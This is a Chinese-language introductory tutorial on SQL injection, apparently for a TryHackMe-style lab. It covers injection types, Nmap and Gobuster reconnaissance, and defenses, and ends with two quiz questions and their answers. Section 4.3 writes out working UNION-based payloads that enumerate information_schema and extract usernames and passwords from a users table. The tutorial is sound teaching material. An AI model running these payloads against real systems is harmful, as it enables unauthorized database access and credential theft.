SQL注入攻击基础教学文档

1. SQL基础概念

1.1 SQL定义

SQL全称为Structured Query Language(结构化查询语言)，是用于管理关系数据库管理系统的标准编程语言。

1.2 SQL主要功能

• 数据查询(SELECT)
• 数据操作(INSERT, UPDATE, DELETE)
• 数据定义(CREATE, ALTER, DROP)
• 数据控制(GRANT, REVOKE)

2. SQL注入漏洞

2.1 定义

SQL注入(SQL Injection)是最常见的SQL漏洞类型之一，攻击者通过在应用程序的输入字段中插入恶意SQL代码，从而绕过安全措施，直接操作数据库。

2.2 常见SQL注入类型

1. 基于错误的SQL注入 - 通过错误信息获取数据库结构
2. 基于布尔的SQL注入 - 通过真/假条件获取数据
3. 基于时间的SQL注入 - 通过数据库响应时间差异获取数据
4. 联合查询SQL注入 - 使用UNION操作符获取其他表数据
5. 堆叠查询SQL注入 - 执行多个SQL语句

3. 环境准备

3.1 操作系统

• Kali Linux (推荐)
• Windows

3.2 必要工具

3.2.1 Nmap

• 用途：网络探测和安全审计工具
• 功能：
  • 主机发现(ping扫描)
  • 端口扫描
  • 服务版本检测
  • 操作系统识别
• 官网：https://www.kali.org/tools/nmap/

3.2.2 Gobuster

• 用途：暴力破解URI(目录/文件)和DNS子域
• 基本命令：

  gobuster dir -u http://目标IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
  

• 官网：https://www.kali.org/tools/gobuster/

4. SQL注入攻击步骤

4.1 信息收集

1. 使用Nmap扫描目标网络，识别开放端口和服务
2. 使用Gobuster发现网站目录结构
3. 寻找可能存在SQL注入点的输入表单

4.2 识别注入点

1. 在输入字段尝试特殊字符：'、"、--、#等
2. 观察系统响应，判断是否存在SQL注入漏洞

4.3 利用注入点

1. 基础注入：

   ' OR '1'='1
   

2. 获取数据库信息：

   ' UNION SELECT 1,version(),3,4,5-- -
   

3. 获取表名：

   ' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema='数据库名'-- -
   

4. 获取列名：

   ' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='表名'-- -
   

5. 提取数据：

   ' UNION SELECT 1,username,password,4,5 FROM users-- -
   

5. 防御措施

5.1 输入验证

• 白名单验证
• 数据类型检查
• 长度限制

5.2 参数化查询

• 使用预处理语句(Prepared Statements)
• 避免直接拼接SQL语句

5.3 最小权限原则

• 数据库账户使用最低必要权限
• 避免使用root/admin权限连接数据库

5.4 其他措施

• 启用WAF(Web应用防火墙)
• 定期更新和修补系统
• 错误信息处理(不显示详细错误给用户)

6. 实战练习任务

任务1

问题：What does the acronym SQL stand for? (SQL缩写代表什么?)
答案：Structured Query Language

任务2

问题：What is one of the most common type of SQL vulnerabilities? (最常见的SQL漏洞类型是什么?)
答案：SQL injection

7. 扩展学习资源

• OWASP SQL注入指南
• SQL注入攻击与防御相关书籍
• CTF比赛中的SQL注入挑战
• 在线实验环境如Hack The Box、TryHackMe等

通过本教学文档，您应该掌握了SQL注入的基本原理、攻击方法和防御措施。请记住，这些知识仅应用于合法授权的安全测试和教育目的。